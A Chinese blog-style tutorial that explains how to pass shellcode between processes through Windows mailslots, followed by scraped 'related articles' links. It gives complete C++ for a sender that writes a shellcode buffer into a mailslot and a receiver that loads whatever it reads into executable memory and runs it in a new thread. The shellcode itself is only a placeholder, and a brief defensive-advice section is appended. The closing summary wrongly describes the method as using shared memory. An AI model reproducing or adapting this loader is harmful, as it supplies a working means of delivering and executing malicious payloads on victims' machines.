C++ 邮件槽ShellCode跨进程传输
在计算机安全领域,进程间通信(IPC)一直是一个备受关注的话题。在本文中,我们将探讨如何使用Windows邮件槽(Mailslot)实现ShellCode的跨进程传输。邮件槽提供了一种简单而有效的单向通信机制,使得任何进程都能够成为邮件槽服务器,并通过UDP
通信向其他进程发送数据。
邮件槽是Windows操作系统提供的一种用于本地进程间通信的机制。它允许一个进程创建一个命名的槽,并允许其他进程通过该槽向创建它的进程发送消息。在本文中,我们将使用邮件槽实现进程间的ShellCode
传输。如果需要双向通信或更复杂的通信需求,需要考虑其他IPC
机制,例如命名管道、套接字等。
服务端部分
服务端端部分的实现非常简单,通过使用MAIL_SLOT_NAME
可以定义邮件槽的名称,该名称用于标识服务端和客户端之间的邮件槽。这是一个字符串常量,按照 Windows 命名约定的格式指定了邮件槽的路径。
让我来解释这个定义的具体含义:
\\\\.
:表示本地计算机,即当前计算机的命名空间。mailslot
:指定邮件槽的类型。Name
:是你给邮件槽指定的名称,可以根据实际需要更改。
所以,整个路径 \\\\.\\mailslot\\Name
指代的是一个本地计算机上的邮件槽,其名称为 Name
。这个路径会在创建和打开邮件槽时使用,确保两个进程使用相同的路径来通信。
在服务端创建邮件槽时,通过 CreateFile
函数中的 MAIL_SLOT_NAME
参数指定邮件槽的名称,确保服务端和客户端使用相同的名称来建立通信连接。
CreateFile
用于创建或打开文件、文件夹、邮件槽、管道等对象的句柄。在你提供的代码中,CreateFile
主要用于打开邮件槽,以便在服务端写入数据。
以下是 CreateFile
函数的一般形式:
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
参数说明:
lpFileName
:指定文件或对象的名称,可以是一个路径、文件名或其他标识符。dwDesiredAccess
:指定对文件的访问权限,例如GENERIC_READ
、GENERIC_WRITE
等。dwShareMode
:指定共享模式,例如FILE_SHARE_READ
、FILE_SHARE_WRITE
等。lpSecurityAttributes
:指定安全属性,通常设置为NULL
。dwCreationDisposition
:指定文件的创建或打开方式,例如OPEN_EXISTING
、CREATE_NEW
等。dwFlagsAndAttributes
:指定文件或对象的属性,例如FILE_ATTRIBUTE_NORMAL
。hTemplateFile
:指定一个文件句柄,用于复制文件属性。
如上所示,我们只需要遵循邮件槽的创建流程并使用CreateFile
创建通信,当需要传输邮件的时候可以直接调用WriteFile
发送邮件,这是一个很好的功能,你可以发送邮件也可以发送各种你喜欢的乱七八糟的东西。
#include <windows.h>
#include <iostream>
using namespace std;
#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name"
char ShellCode[] = "此处是ShellCode";
int main(int argc, char* argv[])
{
HANDLE hWriteMailSlot = NULL;
while (TRUE)
{
hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hWriteMailSlot == INVALID_HANDLE_VALUE)
continue;
else
break;
}
DWORD dwReturn = 0;
// 发送邮件槽
WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
CloseHandle(hWriteMailSlot);
return 0;
}
客户端部分
为了实现通信,客户端部分也需要使用邮件槽,在MAIL_SLOT_NAME
中指定相同的邮件名,通过CreateMailslot
函数,创建邮件槽(Mailslot),这是一种用于本地进程间通信的机制。邮件槽是一种命名的管道,用于在同一台计算机上的不同进程之间传递数据。
以下是 CreateMailslot
函数的一般形式:
HANDLE CreateMailslot(
LPCTSTR lpName,
DWORD nMaxMessageSize,
DWORD lReadTimeout,
LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
参数说明:
lpName
:指定邮件槽的名称,形如\\.\mailslot\your_mailslot_name
。nMaxMessageSize
:指定邮件槽中消息的最大大小。lReadTimeout
:指定在读取数据时的超时时间(以毫秒为单位)。lpSecurityAttributes
:指定邮件槽的安全属性,可以为NULL
。
在代码中,CreateMailslot
用于创建邮件槽:
hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
这行代码的作用是创建一个邮件槽,使用了预定义的邮件槽名称 MAIL_SLOT_NAME
作为参数,nMaxMessageSize
和 lReadTimeout
都设置为零,表示使用默认值。如果创建成功,hReadMailSlot
将获得一个有效的邮件槽句柄,可以用于后续的数据读取操作。
创建好链接之后接下来就可以通过GetMailslotInfo
函数获取邮件了,当然了这个要死循环等待邮件,GetMailslotInfo
用于检查邮件槽的状态信息。它提供了有关邮件槽当前状态的信息,例如有多少消息在邮件槽中、每个消息的大小等。
以下是 GetMailslotInfo
函数的一般形式:
BOOL GetMailslotInfo(
HANDLE hMailslot,
LPDWORD lpMaxMessageSize,
LPDWORD lpNextSize,
LPDWORD lpMessageCount,
LPDWORD lpReadTimeout
);
参数说明:
hMailslot
:邮件槽的句柄,通过CreateMailslot
函数或CreateFile
函数获得。lpMaxMessageSize
:指向一个变量,用于接收邮件槽中单个消息的最大大小。lpNextSize
:指向一个变量,用于接收下一个消息的大小。lpMessageCount
:指向一个变量,用于接收邮件槽中当前的消息数目。lpReadTimeout
:指向一个变量,用于接收在读取数据时的超时时间(以毫秒为单位)。
在你的代码中,GetMailslotInfo
用于获取邮件槽的信息:
bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
这行代码的作用是获取邮件槽 hReadMailSlot
的信息,其中 cbMessage
接收消息的大小,cMessage
接收消息的数量。这样的信息可以在接收方确定是否有待处理的消息,以及处理这些消息所需的空间。
一般来说当收到了新邮件之后可以直接使用ReadFile
函数读出这段邮件,读出来的邮件就可以直接反弹了,如下代码所示;
#include <windows.h>
#include <iostream>
using namespace std;
#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name"
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;
DWORD WINAPI ReadMail()
{
hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
if (hReadMailSlot == INVALID_HANDLE_VALUE)
{
return -1;
}
// 查看油槽的信息
DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
BOOL bOk = FALSE;
char ShellCode[4096] = { 0 };
while (TRUE)
{
bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
if (bOk == FALSE)
break;
if (cMessage == 0)
continue;
else
{
if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
{
HANDLE hThread = NULL;
cout << ShellCode << endl;
// 注入ShellCode并执行
void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ptr, ShellCode, sizeof(ShellCode));
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
}
}
}
int main(int argc, char* argv[])
{
HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
Sleep(INFINITE);
if (hReadMailSlot != INVALID_HANDLE_VALUE)
{
CloseHandle(hReadMailSlot);
}
return 0;
}
潜在风险和安全建议
虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:
- 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
- 加强系统安全策略: 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
- 监控和响应: 部署实时监控和响应系统,能够及时检测到异常行为并采取相应措施,对于减缓潜在威胁的影响十分重要。
总结
本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。
C++ 邮件槽ShellCode跨进程传输的更多相关文章
- [Hook] 跨进程 Binder 学习指南
cp from : http://weishu.me/2016/01/12/binder-index-for-newer/ 毫不夸张地说,Binder是Android系统中最重要的特性之一:正如其名“ ...
- 图文详解 Android Binder跨进程通信机制 原理
图文详解 Android Binder跨进程通信机制 原理 目录 目录 1. Binder到底是什么? 中文即 粘合剂,意思为粘合了两个不同的进程 网上有很多对Binder的定义,但都说不清楚:Bin ...
- 详解 CmProcess 跨进程通信的实现
CmProcess 是 Android 一个跨进程通信框架,整体代码比较简单,总共 20 多个类,能够很好的便于我们去了解跨进程实现的原理. 个人猜测 CmProcess 也是借鉴了 VirtualA ...
- 第二章——Parcelable接口的使用(跨进程,Intent传输)
一.Parcelable类(Android独有的) 简介:Parcelable是一个接口. 作用:是Android提供的序列化接口,实现序列化和反序列化的操作. 二.跨进程使用 步骤一:创建Book类 ...
- 【转】Windows 邮件槽(MailSlot)
Windows 邮件槽(MailSlot) 来自<Windows网络编程第二版 中文版> 优点:通过网络,将一条消息广播给一台或多台计算机. 缺点:只允许从客户机到服务器,建立一种不可 ...
- Wayland中的跨进程过程调用浅析
原文地址:http://blog.csdn.net/jinzhuojun/article/details/40264449 Wayland协议主要提供了Client端应用与Server端Composi ...
- 【朝花夕拾】Android性能篇之(七)Android跨进程通信篇
前言 只要是面试高级工程师岗位,Android跨进程通信就是最受面试官青睐的知识点之一.Android系统的运行由大量相互独立的进程相互协助来完成的,所以Android进程间通信问题,是做好Andro ...
- Android-Messenger跨进程通信
http://blog.csdn.net/lmj623565791/article/details/47017485 一.概述 我们可以在客户端发送一个Message给服务端,在服务端的handler ...
- [Hook] 跨进程 Binder设计与实现 - 设计篇
cp from : http://blog.csdn.net/universus/article/details/6211589 关键词 Binder Android IPC Linux 内核 驱动 ...
- 以中间件,路由,跨进程事件的姿势使用WebSocket
通过参考koa中间件,socket.io远程事件调用,以一种新的姿势来使用WebSocket. 浏览器端 浏览器端使用WebSocket很简单 // Create WebSocket connecti ...
随机推荐
- struct(C# 参考)
struct 类型是一种值类型,通常用来封装小型相关变量组,例如,矩形的坐标或库存商品的特征. 下面的示例显示了一个简单的结构声明. 1 public struct Book 2 { 3 public ...
- MindSponge分子动力学模拟——计算单点能(2023.08)
技术背景 在前面的几篇文章中,我们分别介绍了MindSponge的软件架构.MindSponge的安装与使用和如何在MindSponge中定义一个分子系统.那么就像深度学习中的损失函数,或者目标函数, ...
- Lazada商品详情(代码封装)以及应用
编辑切换为居中 Lazada平台的分析可以从以下几个方面入手: 1. 市场分析:对Lazada平台市场进行分析,及时了解市场趋势和变化,调整企业的经营策略.可以监测Lazada平台上商品的销售量. ...
- Windows安装、配置、卸载MySQL教程
MySQL是一个关系型数据库管理系统,目前为Oracle旗下产品,它具有开源.体积小.速度快的优点,许多网站使用的都是MySQL数据库. 简单而言,MySQL数据库核心功能就是用来存储数据的. MyS ...
- Sermant类隔离架构:解决JavaAgent场景类冲突的实践
本文分享自华为云社区<Sermant类隔离架构解析--解决JavaAgent场景类冲突的实践>,作者:华为云开源. Sermant是基于Java字节码增强技术的无代理服务网格,其利用Jav ...
- 如何将GitLab仓库同步到GitHub和Gitee?
作者:西瓜程序猿 主页传送门:https://www.cnblogs.com/kimiliucn 前言 在之前写的[Kimi.RocketMQ.NET]开源项目中,代码我是放在自己搭建的GitLab服 ...
- 「codeforces - 1519E」Off by One
link. 点 \(A\) 与 \((0,0)\),\(B\) 共线的充要条件是 \(\frac{y_A}{x_A}=\frac{y_B}{x_B}\),即 \(k_{OA}=k_{OB}\).又考虑 ...
- Record -「NOIP-S 2020」赛后总结
不是特别想说伤心的事情. T1 一遍过完所有大样例,此时只过去了十几二十分钟,不过之前花了半个小时通读了整个 PDF 所以此时大概过了 1h. T2 大概花了十几分钟胡出了一个反着枚举就是正解的 n^ ...
- Python基础——CPU详解
一 五大组成单元=>三大核心组件 组成计算机五大单元可以合并成三大核心组件:CPU.IO设备.主存储器 1.控制单元+算数逻辑单元=>CPU 2.主存储器,即主記憶體 3.输入单元Inpu ...
- android开发阶段性技能
一.初级 1. 拥有娴熟的Java基础,理解设计模式,比如OOP语言的工厂模式要懂得. 2. 掌握Android UI控件.Android Java层API相关使用. 迈向中级,最好再次更新下Java ...